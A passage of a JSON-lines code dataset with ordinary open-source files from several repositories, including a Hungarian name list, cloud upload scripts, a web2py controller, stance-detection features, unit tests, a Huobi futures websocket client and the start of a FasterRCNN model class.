'Krisztofer',\n 'Simon',\n 'Lajos',\n 'D\u00e9nes',\n 'Alexander',\n 'Adri\u00e1n',\n 'Don\u00e1t',\n 'Szil\u00e1rd',\n 'Gy\u00f6rgy',\n 'Bertalan',\n 'Gyula',\n 'Z\u00e9n\u00f3',\n 'Bende',\n 'Gell\u00e9rt',\n 'K\u00e1roly',\n 'Rik\u00e1rd\u00f3',\n 'Csan\u00e1d',\n 'Iv\u00e1n',\n 'Vencel',\n 'Denisz',\n 'S\u00e1muel',\n 'P\u00e1l',\n 'Zsigmond'\n]\n\nfemale = [\n 'Hanna',\n 'Anna',\n 'Zo\u00e9',\n 'Luca',\n 'Emma',\n 'Zs\u00f3fia',\n 'J\u00e1zmin',\n 'N\u00f3ra',\n 'Bogl\u00e1rka',\n 'L\u00e9na',\n 'Maja',\n 'Lili',\n 'Gr\u00e9ta',\n 'Laura',\n 'Izabella',\n 'Mira',\n 'Fanni',\n 'Dorina',\n 'Lilla',\n 'D\u00f3ra',\n 'Csenge',\n 'Fl\u00f3ra',\n 'S\u00e1ra',\n 'Vikt\u00f3ria',\n 'R\u00e9ka',\n 'Eszter',\n 'Liza',\n 'Ad\u00e9l',\n 'Petra',\n 'Zselyke',\n 'Lili\u00e1na',\n 'No\u00e9mi',\n 'Al\u00edz',\n 'Lara',\n 'Bianka',\n 'Vivien',\n 'Dorka',\n 'Natasa',\n 'Lilien',\n 'Ol\u00edvia',\n 'Panna',\n 'Rebeka',\n 'Kamilla',\n 'Sz\u00f3fia',\n 'Janka',\n 'Em\u00edlia',\n 'Blanka',\n 'Amira',\n 'Szonja',\n 'Bella',\n 'Szofia',\n 'Nat\u00e1lia',\n 'J\u00falia',\n 'Elizabet',\n 'Fruzsina',\n 'Kinga',\n 'Lia',\n 'Regina',\n 'Abig\u00e9l',\n 'Szofi',\n 'Norina',\n 'Hanga',\n 'Lotti',\n 'Alexandra',\n 'Tamara',\n 'Mirella',\n 'Borb\u00e1la',\n 'Barbara',\n 'Eliza',\n 'Mia',\n 'Linett',\n 'Emese',\n 'Bor\u00f3ka',\n 'Kiara',\n 'Enik\u0151',\n 'R\u00f3za',\n 'Zita',\n 'B\u00edborka',\n 'Veronika',\n 'Emili',\n 'Leila',\n 'Let\u00edcia',\n 'Dalma',\n 'Johanna',\n 'Vir\u00e1g',\n 'Dorottya',\n 'Kincs\u0151',\n 'Annabella',\n 'Vanessza',\n 'H\u00e9di',\n 'Nikolett',\n 'T\u00edmea',\n 'Vanda',\n 'Kata',\n 'Kitti',\n 'Adrienn',\n 'Zorka',\n 'Krisztina',\n 'Di\u00e1na',\n 'Zara'\n]\n\nlast = [\n 'T\u00f3th',\n 'Nagy',\n 'Szab\u00f3',\n 'Kov\u00e1cs',\n 'Varga',\n 'Horv\u00e1th',\n 'Kiss',\n 'Moln\u00e1r',\n 'N\u00e9meth',\n 'Farkas',\n 'Tak\u00e1cs',\n 'Balogh',\n 'Papp',\n 'Juh\u00e1sz',\n 'Szil\u00e1gyi',\n 'M\u00e9sz\u00e1ros',\n 'Simon',\n 'Sz\u0171cs',\n 'Fekete',\n 'T\u00f6r\u00f6k',\n 'R\u00e1cz',\n 'Ol\u00e1h',\n 'Szalai',\n 'Feh\u00e9r',\n 'G\u00e1l',\n 'Pint\u00e9r',\n 'Bal\u00e1zs',\n 'Kocsis',\n 'Lakatos',\n 'Fodor',\n 'Vincze',\n 'S\u00e1ndor',\n 'Veres',\n 'Magyar',\n 'Kis',\n 'Sipos',\n 'Katona',\n 'Vass',\n 'Kir\u00e1ly',\n 'Heged\u0171s',\n 'Luk\u00e1cs',\n 'V\u00f6r\u00f6s',\n 'Sz\u0151ke',\n 'Guly\u00e1s',\n 'Fazekas',\n 'V\u00e1radi',\n 'Somogyi',\n 'L\u00e1szl\u00f3',\n 'Kelemen',\n 'F\u00fcl\u00f6p',\n 'Antal',\n 'Orosz',\n 'Sz\u00e9kely',\n 'Boros',\n 'Jakab',\n 'P\u00e1l',\n 'B\u00e1lint',\n 'Tam\u00e1s',\n 'De\u00e1k',\n 'Szekeres',\n 'Lengyel',\n 'Ill\u00e9s',\n 'V\u00e9gh',\n 'F\u00e1bi\u00e1n',\n 'Bodn\u00e1r',\n 'Bogn\u00e1r',\n 'Vir\u00e1g',\n 'Pap',\n 'Bir\u00f3',\n 'P\u00e1sztor',\n 'Kozma',\n 'Hal\u00e1sz',\n 'Sz\u00fccs',\n 'Sz\u00e1nt\u00f3',\n 'M\u00e1t\u00e9',\n 'Budai',\n 'Bakos',\n '\u00c1cs',\n 'Major',\n 'Vida',\n 'Vajda',\n 'So\u00f3s',\n 'B\u00edr\u00f3',\n 'Dud\u00e1s',\n 'Nov\u00e1k',\n 'Nemes',\n 'Barna',\n 'Orb\u00e1n',\n 'G\u00e1sp\u00e1r',\n 'Hajdu',\n 'Urb\u00e1n',\n 'S\u00e1rk\u00f6zi',\n 'Kerekes',\n 'Balog',\n 'Sz\u00e1sz',\n 'Dobos',\n '\u00c1d\u00e1m',\n 'Balla',\n 'Barta',\n 'P\u00e9ter',\n 'Borb\u00e9ly',\n 'Szegedi',\n 'M\u00e1rton',\n 'Szak\u00e1cs',\n 'Pataki',\n 'L\u0151rincz',\n 'Kert\u00e9sz',\n 'Kun',\n 'Cseh',\n 'Farag\u00f3',\n 'Kardos',\n 'L\u00e9vai',\n 'Szigeti',\n 'Szalay',\n 'D\u00e1vid',\n 'Szatm\u00e1ri',\n 'Mezei',\n 'Heged\u00fcs',\n 'Sebesty\u00e9n',\n 'Erd\u00e9lyi',\n 'R\u00f3zsa',\n 'Erdei',\n 'K\u00e1lm\u00e1n',\n 'L\u00e1z\u00e1r',\n 'Gergely',\n 'Szarka',\n 'Vas',\n 'Gy\u0151ri',\n 'Hegyi',\n 'Marton',\n 'Kulcs\u00e1r',\n 'B\u00e9res',\n 'Herczeg',\n 'Fejes',\n 'Berta',\n 'Demeter',\n 'Husz\u00e1r',\n 'Kalm\u00e1r',\n 'Ga\u00e1l',\n 'Koll\u00e1r',\n 'Csonka',\n 'K\u00f3sa',\n 'Pusk\u00e1s',\n 'Kurucz',\n 'S\u00e1nta',\n 'Hajd\u00fa',\n 'Mikl\u00f3s',\n 'Polg\u00e1r',\n 'Schmidt',\n 'Kecsk\u00e9s',\n 'Bogd\u00e1n',\n 'Vigh',\n 'Baranyai',\n 'Tar',\n 'G\u00e1bor',\n 'Pet\u0151',\n 'Csizmadia',\n 'J\u00f3n\u00e1s',\n 'Ferenczi',\n 'Baranyi',\n 'K\u00e1d\u00e1r',\n 'M\u00fcller',\n 'Bartha',\n 'Seres',\n 'Koncz',\n 'B\u00f3di',\n 'Cs\u00e1sz\u00e1r',\n 'J\u00f3zsa',\n 'M\u00e1rkus',\n 'Bak\u00f3',\n 'Vad\u00e1sz',\n 'Szabados',\n 'Csord\u00e1s',\n 'S\u00e1ri',\n 'Torma',\n 'Imre',\n '\u00c1brah\u00e1m',\n 'Majoros',\n 'Erd\u0151s',\n 'Bar\u00e1th',\n 'S\u00fct\u0151',\n 'P\u00e1lfi',\n 'Szarvas',\n 'Csontos',\n 'Seb\u0151k',\n '\u00c1goston',\n 'Galambos',\n 'Berki',\n 'Elek',\n 'Ors\u00f3s',\n 'Mez\u0151',\n 'Benk\u0151',\n 'Pusztai',\n 'Boda',\n 'Ambrus',\n 'Sallai',\n '\u00c1rvai',\n 'F\u00f6ldi',\n 'Sz\u00e9p',\n 'Mayer'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport os\nimport mlsqltestssupport.aliyun.config as config\n\n\nif not os.environ['MLSQL_RELEASE_TAR']:\n raise ValueError('MLSQL_RELEASE_TAR should be configured')\n\nfileName = os.environ['MLSQL_RELEASE_TAR']\n\nbucket = config.ossClient()\n\nbucket.put_object_from_file(fileName.split(\"/\")[-1], fileName)\n\nprint(\"success uploaded\")\n", "source": "zhuimengrenweijian/mlsql", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## This is a sample controller\n## - index is the default action of any application\n## - user is required for authentication and authorization\n## - download is for downloading files uploaded in the db (does streaming)\n## - api is an example of Hypermedia API support and access control\n#########################################################################\n\ndef index():\n acuse = request.vars['acuse']\n q=db.acuse.codigo==acuse\n row = db(q).select().first()\n #cid = db(db.container.barcode==form.vars.containercode).select().first()\n #return dict(row=row)\n message=\"Demo Acuse QP\"\n return dict(q=q,acuse=acuse,row=row,message=message)\n\n\ndef user():\n \"\"\"\n exposes:\n http://..../[app]/default/user/login\n http://..../[app]/default/user/logout\n http://..../[app]/default/user/register\n http://..../[app]/default/user/profile\n http://..../[app]/default/user/retrieve_password\n http://..../[app]/default/user/change_password\n http://..../[app]/default/user/manage_users (requires membership in\n use @auth.requires_login()\n @auth.requires_membership('group name')\n @auth.requires_permission('read','table name',record_id)\n to decorate functions that need access control\n \"\"\"\n return dict(form=auth())\n\n\n@cache.action()\ndef download():\n \"\"\"\n allows downloading of uploaded files\n http://..../[app]/default/download/[filename]\n \"\"\"\n return response.download(request, db)\n\n\ndef call():\n \"\"\"\n exposes services. for example:\n http://..../[app]/default/call/jsonrpc\n decorate with @services.jsonrpc the functions to expose\n supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n \"\"\"\n return service()\n\n\n@auth.requires_login() \ndef api():\n \"\"\"\n this is example of API with access control\n WEB2PY provides Hypermedia API (Collection+JSON) Experimental\n \"\"\"\n from gluon.contrib.hypermedia import Collection\n rules = {\n '': {'GET':{},'POST':{},'PUT':{},'DELETE':{}},\n }\n return Collection(db).process(request,response,rules)\n", "source": "Mexarm/web2pytests", "license": "BSD-3-Clause"} {"text": "import os\nimport re\nimport nltk\nimport numpy as np\nfrom sklearn import feature_extraction\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.metrics import jaccard_similarity_score\nfrom tqdm import tqdm\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport pickle\n\n\n_wnl = nltk.WordNetLemmatizer()\n\n\ndef normalize_word(w):\n return _wnl.lemmatize(w).lower()\n\n\ndef get_tokenized_lemmas(s):\n return [normalize_word(t) for t in nltk.word_tokenize(s)]\n\n\ndef clean(s):\n # Cleans a string: Lowercasing, trimming, removing non-alphanumeric\n\n return \" \".join(re.findall(r'\\w+', s, flags=re.UNICODE)).lower()\n\n\ndef remove_stopwords(l):\n # Removes stopwords from a list of tokens\n return [w for w in l if w not in feature_extraction.text.ENGLISH_STOP_WORDS]\n\n\ndef gen_or_load_feats(feat_fn, headlines, bodies, feature_file):\n if not os.path.isfile(feature_file):\n feats = feat_fn(headlines, bodies)\n np.save(feature_file, feats)\n\n return np.load(feature_file)\n\n\n\n\ndef word_overlap_features(headlines, bodies):\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n clean_headline = get_tokenized_lemmas(clean_headline)\n clean_body = get_tokenized_lemmas(clean_body)\n features = [\n len(set(clean_headline).intersection(clean_body)) / float(len(set(clean_headline).union(clean_body)))]\n X.append(features)\n return X\n\n\ndef refuting_features(headlines, bodies):\n _refuting_words = [\n 'fabricated',\n 'invented', 'invented',\n 'fake',\n 'fraud',\n 'hoax',\n 'false',\n 'deny', 'denies',\n 'not',\n 'despite',\n 'nope',\n 'doubt', 'doubts',\n 'bogus',\n 'debunk',\n 'pranks',\n 'retract',\n 'lie', 'lies',\n 'bullshit',\n 'stage', 'stagged',\n 'rumor', 'rumors'\n ]\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_headline = get_tokenized_lemmas(clean_headline)\n features = [1 if word in clean_headline else 0 for word in _refuting_words]\n X.append(features)\n return X\n\n\ndef polarity_features(headlines, bodies):\n _refuting_words = [\n 'fabricated',\n 'invented', 'invented',\n 'fake',\n 'fraud',\n 'hoax',\n 'false',\n 'deny', 'denies',\n 'not',\n 'despite',\n 'nope',\n 'doubt', 'doubts',\n 'bogus',\n 'debunk',\n 'pranks',\n 'retract',\n 'lie', 'lies',\n 'bullshit',\n 'stage', 'stagged',\n 'rumor', 'rumors'\n ]\n\n def calculate_polarity(text):\n tokens = get_tokenized_lemmas(text)\n return sum([t in _refuting_words for t in tokens]) / len(_refuting_words)\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n features = []\n features.append(calculate_polarity(clean_headline))\n features.append(calculate_polarity(clean_body))\n X.append(features)\n return np.array(X)\n\n\ndef ngrams(input, n):\n input = input.split(' ')\n output = []\n for i in range(len(input) - n + 1):\n output.append(input[i:i + n])\n return output\n\n\ndef chargrams(input, n):\n output = []\n for i in range(len(input) - n + 1):\n output.append(input[i:i + n])\n return output\n\n\ndef append_chargrams(features, text_headline, text_body, size):\n grams = [' '.join(x) for x in chargrams(\" \".join(remove_stopwords(text_headline.split())), size)]\n grams_hits = 0\n grams_early_hits = 0\n grams_first_hits = 0\n for gram in grams:\n if gram in text_body:\n grams_hits += 1\n if gram in text_body[:255]:\n grams_early_hits += 1\n if gram in text_body[:100]:\n grams_first_hits += 1\n features.append(grams_hits)\n features.append(grams_early_hits)\n features.append(grams_first_hits)\n return features\n\n\ndef append_ngrams(features, text_headline, text_body, size):\n grams = [' '.join(x) for x in ngrams(text_headline, size)]\n grams_hits = 0\n grams_early_hits = 0\n for gram in grams:\n if gram in text_body:\n grams_hits += 1\n if gram in text_body[:255]:\n grams_early_hits += 1\n features.append(grams_hits)\n features.append(grams_early_hits)\n return features\n\n\ndef hand_features(headlines, bodies):\n\n def binary_co_occurence(headline, body):\n # Count how many times a token in the title\n # appears in the body text.\n bin_count = 0\n bin_count_early = 0\n for headline_token in clean(headline).split(\" \"):\n if headline_token in clean(body):\n bin_count += 1\n if headline_token in clean(body)[:255]:\n bin_count_early += 1\n return [bin_count, bin_count_early]\n\n def binary_co_occurence_stops(headline, body):\n # Count how many times a token in the title\n # appears in the body text. Stopwords in the title\n # are ignored.\n bin_count = 0\n bin_count_early = 0\n for headline_token in remove_stopwords(clean(headline).split(\" \")):\n if headline_token in clean(body):\n bin_count += 1\n bin_count_early += 1\n return [bin_count, bin_count_early]\n\n def count_grams(headline, body):\n # Count how many times an n-gram of the title\n # appears in the entire body, and intro paragraph\n\n clean_body = clean(body)\n clean_headline = clean(headline)\n features = []\n features = append_chargrams(features, clean_headline, clean_body, 2)\n features = append_chargrams(features, clean_headline, clean_body, 8)\n features = append_chargrams(features, clean_headline, clean_body, 4)\n features = append_chargrams(features, clean_headline, clean_body, 16)\n features = append_ngrams(features, clean_headline, clean_body, 2)\n features = append_ngrams(features, clean_headline, clean_body, 3)\n features = append_ngrams(features, clean_headline, clean_body, 4)\n features = append_ngrams(features, clean_headline, clean_body, 5)\n features = append_ngrams(features, clean_headline, clean_body, 6)\n return features\n\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n X.append(binary_co_occurence(headline, body)\n + binary_co_occurence_stops(headline, body)\n + count_grams(headline, body))\n\n\n return X\n\ndef sentiment_features(headlines, bodies):\n\n def calculate_sentiment(text,analyzer):\n vs = analyzer.polarity_scores(text)\n return np.argmax([vs['neg'], vs['pos']])\n\n X = []\n analyzer = SentimentIntensityAnalyzer()\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n features = []\n features.append(calculate_sentiment(clean_headline,analyzer))\n features.append(calculate_sentiment(clean_body,analyzer))\n X.append(features)\n return np.array(X)\n\ndef cosine_tfidf_features(headlines, bodies):\n\n X = []\n tfidf = feature_extraction.text.TfidfVectorizer()\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n matrix = tfidf.fit_transform([clean_headline, clean_body])\n X.append(cosine_similarity(matrix[0], matrix[1])[0][0])\n return np.array(X)\n\ndef bleu_features(headlines, bodies):\n\n X = []\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n matrix = nltk.translate.bleu_score.sentence_bleu(clean_headline, clean_body)\n X.append(matrix)\n return np.array(X)\n\ndef glove_features(headlines, bodies):\n X = []\n model = get_glove()\n for i, (headline, body) in tqdm(enumerate(zip(headlines, bodies))):\n clean_headline = clean(headline)\n clean_body = clean(body)\n clean_headline = get_tokenized_lemmas(clean_headline)\n clean_body = get_tokenized_lemmas(clean_body)\n\n vector_headline = transform_text(model,clean_headline,20)\n vector_body = transform_text(model,clean_body,200)\n X.append([vector_headline, vector_body])\n return np.array(X)\n\ndef get_glove():\n if os.path.isfile('rnn/data/glove.pickle'):\n with open('rnn/data/glove.pickle', 'rb') as handle:\n return pickle.load(handle)\n else:\n if os.path.isfile('rnn/data/glove.6B.100d.txt'):\n glove_dict = {}\n with open('rnn/data/glove.6B.100d.txt') as f:\n i=0\n for a in f:\n glove_dict[a.split()[0]] = i\n i = i+1\n with open('rnn/data/glove.pickle', 'wb') as handle:\n pickle.dump(glove_dict, handle, protocol=pickle.HIGHEST_PROTOCOL)\n return glove_dict \n\ndef transform_text(w2vmodel, words, maxlen=20):\n data = list()\n for i in range(0, maxlen): #range(0, len(words)-1):\n if i < len(words):\n word = words[i]\n if word in w2vmodel:\n index = w2vmodel[word]\n else:\n index = w2vmodel[\"unk\"]\n else:\n index = w2vmodel[\"unk\"]\n data.append(index)\n return np.asarray(data)\n\ndef get_glove_matrix():\n X = []\n if os.path.isfile('rnn/data/glove.6B.100d.txt'):\n with open('rnn/data/glove.6B.100d.txt') as f:\n for a in f:\n X.append(np.fromstring((\" \".join(a.split()[1:])), dtype=float, sep=' '))\n return np.array(X)", "source": "bertop89/fnc-1-baseline", "license": "Apache-2.0"} {"text": "import unittest\nfrom nose.tools import assert_equals\nfrom robotide.ui.actiontriggers import _NameBuilder\n\n\nclass TestGetNameWithAccelerator(unittest.TestCase):\n\n def setUp(self):\n self._nb = _NameBuilder()\n\n def _test(self, input, expected):\n assert_equals(self._nb.get_name(input), expected)\n\n def test_use_first_free_char(self):\n self._test('File', '&File')\n self._test('Foo', 'F&oo')\n self._test('Foobar', 'Foo&bar')\n\n def test_case_insensitive(self):\n self._test('File', '&File')\n self._test('foo', 'f&oo')\n self._test('bar', '&bar')\n self._test('Barbi', 'B&arbi')\n\n def test_all_letters_taken(self):\n self._test('File', '&File')\n self._test('Open', '&Open')\n self._test('Foo', 'Foo')\n\n def test_space_is_not_used(self):\n self._test('File', '&File')\n self._test('Open', '&Open')\n self._test('Foo Bar', 'Foo &Bar')\n\n def test_free_given(self):\n self._test('&File', '&File')\n self._test('O&pen', 'O&pen')\n\n def test_non_free_given(self):\n self._test('&File', '&File')\n self._test('&Foo', 'F&oo')\n self._test('&Open', 'O&pen')\n self._test('F&oo Bar', 'Foo &Bar')\n self._test('&Fofo', 'Fofo')\n\n def test_get_same_acc_for_same_name(self):\n for name in 'F&ile', 'File', '&File', 'FI&LE', 'fil&e', 'file':\n self._test(name, 'F&ile')\n\n def test_ambersand_at_end_is_ignored(self):\n self._test('File&', '&File')\n\n def test_get_registered_name(self):\n self._test('&File', '&File')\n for name in 'F&ile', 'File', '&File', 'FI&LE', 'fil&e', 'file':\n assert_equals(self._nb.get_registered_name(name), '&File')\n assert_equals(self._nb.get_registered_name('Non Existing'), None)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "hoteltianya/RIDE", "license": "ECL-2.0"} {"text": "# -*- coding: utf-8 -*-\nimport os\nimport sys\nimport logging\nimport uuid\nimport time\nimport glob\nimport subprocess\n\nfrom dotenv import load_dotenv\n\nfrom s3 import get_s3, store_stream_s3, get_matching_s3_keys, get_object_to_file\n\nload_dotenv()\nBUCKET = os.environ.get(\"BUCKET\")\nPATH_DATA = os.environ.get(\"PATH_DATA\", \"./data\")\n\n\ndef put_files(stack, spec):\n p = os.path.join(PATH_DATA, stack)\n if not os.path.exists(p):\n print(\"Path does not exist: {}\".format(p))\n raise SystemExit\n path = os.path.join(PATH_DATA, stack, spec)\n files = glob.glob(path)\n for fp in files:\n key = os.path.join(stack, fp.split(\"/\")[-1])\n print(\"uploading: {} => {}\".format(fp, key))\n store_stream_s3(BUCKET, open(fp, \"rb\"), key)\n\n\nif __name__ == \"__main__\":\n sys.exit(put_files(sys.argv[1], sys.argv[2]))\n", "source": "paul-wolf/focusstepper", "license": "MIT"} {"text": "import datetime\nimport uuid\nimport urllib\nimport asyncio\nimport websockets\nimport json\nimport hmac\nimport base64\nimport hashlib\nimport gzip\nimport traceback\n\n \n\ndef generate_signature(host, method, params, request_path, secret_key):\n \"\"\"Generate signature of huobi future.\n \n Args:\n host: api domain url.PS: colo user should set this host as 'api.hbdm.com',not colo domain.\n method: request method.\n params: request params.\n request_path: \"/notification\"\n secret_key: api secret_key\n Returns:\n singature string.\n \"\"\"\n host_url = urllib.parse.urlparse(host).hostname.lower()\n sorted_params = sorted(params.items(), key=lambda d: d[0], reverse=False)\n encode_params = urllib.parse.urlencode(sorted_params)\n payload = [method, host_url, request_path, encode_params]\n payload = \"\\n\".join(payload)\n payload = payload.encode(encoding=\"UTF8\")\n secret_key = secret_key.encode(encoding=\"utf8\")\n digest = hmac.new(secret_key, payload, digestmod=hashlib.sha256).digest()\n signature = base64.b64encode(digest)\n signature = signature.decode()\n return signature\n\nasync def subscribe(url, access_key, secret_key, subs, callback=None, auth=False):\n \"\"\" Huobi Future subscribe websockets.\n Args:\n url: the url to be signatured.\n access_key: API access_key.\n secret_key: API secret_key.\n subs: the data list to subscribe.\n callback: the callback function to handle the ws data received. \n auth: True: Need to be signatured. False: No need to be signatured.\n \"\"\"\n async with websockets.connect(url) as websocket:\n if auth:\n timestamp = datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S\")\n data = {\n \"AccessKeyId\": access_key,\n \"SignatureMethod\": \"HmacSHA256\",\n \"SignatureVersion\": \"2\",\n \"Timestamp\": timestamp\n }\n sign = generate_signature(url,\"GET\", data, \"/notification\", secret_key)\n data[\"op\"] = \"auth\"\n data[\"type\"] = \"api\"\n data[\"Signature\"] = sign\n msg_str = json.dumps(data)\n await websocket.send(msg_str)\n print(f\"send: {msg_str}\")\n for sub in subs:\n sub_str = json.dumps(sub)\n await websocket.send(sub_str)\n print(f\"send: {sub_str}\")\n while True:\n rsp = await websocket.recv()\n data = json.loads(gzip.decompress(rsp).decode())\n #print(f\"recevie<--: {data}\")\n if \"op\" in data and data.get(\"op\") == \"ping\":\n pong_msg = {\"op\": \"pong\", \"ts\": data.get(\"ts\")}\n await websocket.send(json.dumps(pong_msg))\n print(f\"send: {pong_msg}\")\n continue\n if \"ping\" in data: \n pong_msg = {\"pong\": data.get(\"ping\")}\n await websocket.send(json.dumps(pong_msg))\n print(f\"send: {pong_msg}\")\n continue\n rsp = await callback(data)\nimport json\nmids = {}\nmids['futs'] = {}\nasync def handle_ws_data(*args, **kwargs):\n \"\"\" callback function\n Args:\n args: values\n kwargs: key-values.\n \"\"\"\n if 'tick' in args[0]:\n d = args[0]['tick']\n if 'close' in d:\n #print(d)\n coin = args[0]['ch'].split('_')[0].split('.')[1]\n #print(coin)\n mids['futs'][coin] = float(d['close'])\n if 'data' in args[0]:\n for d in args[0]['data']:\n if 'symbol' in d:\n print(d['symbol'])\n print(d['margin_balance'])\n\ncoinsto = ['BTC', 'ETH', 'XRP', 'BCH', 'LTC', 'EOS', 'LINK', 'DOT', 'ADA', 'BSV', 'ETC', 'TRX']\nimport os\nimport threading\nif __name__ == \"__main__\":\n #### input your access_key and secret_key below:\n access_key = os.environ['key']\n secret_key = os.environ['secret']\n\n market_url = 'wss://www.hbdm.vn/ws'\n order_url = 'wss://api.hbdm.vn/notification'\n \n order_subs = [\n \n\n ]\n market_subs = [\n \n\n ]\n for coin in coinsto:\n market_subs.append({\n \"sub\": \"market.\" + coin + \"_NQ.detail\",\n \"id\": str(uuid.uuid1())\n })\n market_subs.append({\n \"sub\": \"market. \" + coin + \"_CQ.detail\",\n \"id\": str(uuid.uuid1())\n })\n market_subs.append({\n \"sub\": \"market.\" + coin + \"_NW.detail\",\n \"id\": str(uuid.uuid1())\n })\n market_subs.append({\n \"sub\": \"market.\" + coin + \"_CW.detail\",\n \"id\": str(uuid.uuid1())\n })\n # order_subs.append({\n # \"op\": \"sub\",\n # \"cid\": str(uuid.uuid1()),\n # \"topic\": \"positions.\" + coin\n # }\n # )\n order_subs.append({\n \"op\": \"sub\",\n \"cid\": str(uuid.uuid1()),\n \"topic\": \"accounts.\" + coin\n })\n\n while True: \n try:\n loop = asyncio.get_event_loop()\n loop.create_task(subscribe(market_url, access_key, secret_key, market_subs, handle_ws_data, auth=False))\n loop.create_task(subscribe(order_url, access_key, secret_key, order_subs, handle_ws_data, auth=True))\n\n #loop.create_task(loop_in_thread())\n loop.run_forever()\n\n \n \n #except (websockets.exceptions.ConnectionClosed):\n except Exception as e:\n traceback.print_exc()\n print('websocket connection error. reconnect rightnow')\n", "source": "DunnCreativeSS/cash_carry_leveraged_futures_arbitrageur", "license": "Apache-2.0"} {"text": "import unittest\nfrom typing import List\n\nfrom banyan.model.audit import AuditEvent, AuditAction, AuditEventType\nfrom banyan.model.service import ServiceInfo\nfrom tests.parsing import load_testdata\n\n\nclass AuditEventParserTest(unittest.TestCase):\n EVENT_ID = \"c5913103-67af-4669-bc8b-b14d4114f0c1\"\n\n def _test_specific_event(self, e):\n self.assertEqual(self.EVENT_ID, str(e.id))\n self.assertEqual(AuditAction.CREATE, e.action)\n self.assertEqual(AuditEventType.REGISTERED_SERVICE, e.event_type)\n self.assertIsNone(e.changes_old)\n o = e.object_new # type: ServiceInfo\n self.assertEqual(o.cluster_name, \"us-west1\")\n self.assertEqual(o.service_name, \"test-api\")\n self.assertIn(\"bnndemos.com\", o.oidc_client.trust_cb)\n self.assertEqual(o.service_name, o.service.name)\n self.assertEqual(o.service_name, o.service.metadata.name)\n\n def test_parse_event(self):\n e: AuditEvent = AuditEvent.Schema().loads(load_testdata(\"tests/data/audit_event.json\"))\n self._test_specific_event(e)\n\n def test_parse_many(self):\n e: List[AuditEvent] = AuditEvent.Schema().loads(load_testdata(\"tests/data/audit_events.json\"), many=True)\n self._test_specific_event(e[0])\n", "source": "rb-nr/pybanyan", "license": "Apache-2.0"} {"text": "def main():\n info('Jan unknown laser analysis')\n\n #gosub('jan:PrepareForCO2Analysis')\n\n if exp.analysis_type == 'blank':\n info('is blank. not heating')\n else:\n info('move to position {}'.format(exp.position))\n move_to_position(exp.position)\n\n if exp.ramp_rate > 0:\n '''\n style 1.\n '''\n # begin_interval(duration)\n # info('ramping to {} at {} {}/s'.format(extract_value, ramp_rate, extract_units)\n # ramp(setpoint=extract_value, rate=ramp_rate)\n # complete_interval()\n '''\n style 2.\n '''\n #elapsed=ramp(setpoint=extract_value, rate=ramp_rate)\n #sleep(min(0, duration-elapsed))\n pass\n\n else:\n info('set heat to {}'.format(exp.extract_value))\n extract(exp.extract_value)\n sleep(exp.duration)\n\n if not exp.analysis_type == 'blank':\n disable()\n sleep(exp.cleanup)", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "from collections import OrderedDict\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import init\nimport torch.nn.functional as F\nimport numpy as np \n\nfrom torchvision.ops import MultiScaleRoIAlign\nfrom torchvision.ops import boxes as box_ops\n\nfrom torchvision.models.detection.roi_heads import RoIHeads\nfrom torchvision.models.detection.rpn import AnchorGenerator, RPNHead, RegionProposalNetwork\nfrom torchvision.models.detection.transform import GeneralizedRCNNTransform\n\nfrom .generalized_rcnn import GeneralizedRCNN\nfrom .resnet_backbone import resnet_backbone\nfrom .reID import Regressor\nfrom torch import autograd\nimport math\n\nclass FasterRCNN(GeneralizedRCNN):\n \"\"\"\n See https://github.com/pytorch/vision/blob/master/torchvision/models/detection/faster_rcnn.py#L26\n \"\"\"\n def __init__(self, backbone,\n num_classes=None, \n # transform parameters\n min_size=900, max_size=1500,\n image_mean=[0.485, 0.456, 0.406], \n image_std=[0.229, 0.224, 0.225],\n # RPN parameters\n rpn_anchor_generator=None, \n rpn_head=None,\n rpn_pre_nms_top_n_train=12000, rpn_pre_nms_top_n_test=6000,\n rpn_post_nms_top_n_train=2000, rpn_post_nms_top_n_test=300,\n rpn_nms_thresh=0.7,\n rpn_fg_iou_thresh=0.7, rpn_bg_iou_thresh=0.3,\n rpn_batch_size_per_image=256, rpn_positive_fraction=0.5,\n # Box parameters\n box_roi_pool=None, \n feat_head=None, \n box_predictor=None,\n box_score_thresh=0.0, box_nms_thresh=0.4, box_detections_per_img=300,\n box_fg_iou_thresh=0.5, box_bg_iou_thresh=0.1,\n box_batch_size_per_image=128, box_positive_fraction=0.5,\n bbox_reg_weights=None,\n # ReID parameters\n embedding_head=None, \n reid_regressor=None,\n ):\n\n if not hasattr(backbone, \"out_channels\"):\n raise ValueError(\n 'backbone should contain an attribute out_channels '\n 'specifying the number of output channels (assumed to be the '\n 'same for all the levels)')\n \n if rpn_anchor_generator is None:\n raise ValueError('rpn_anchor_generator should be specified manually.')\n \n if rpn_head is None:\n raise ValueError('rpn_head should be specified manually.')\n \n if box_roi_pool is None:\n raise ValueError('box_roi_pool should be specified manually.')\n \n if feat_head is None:\n raise ValueError('feat_head should be specified manually.')\n\n if box_predictor is None:\n raise ValueError('box_predictor should be specified manually.')\n\n if embedding_head is None:\n raise ValueError('embedding_head should be specified manually.')\n\n # Construct RPN\n rpn_pre_nms_top_n = dict(\n training=rpn_pre_nms_top_n_train, 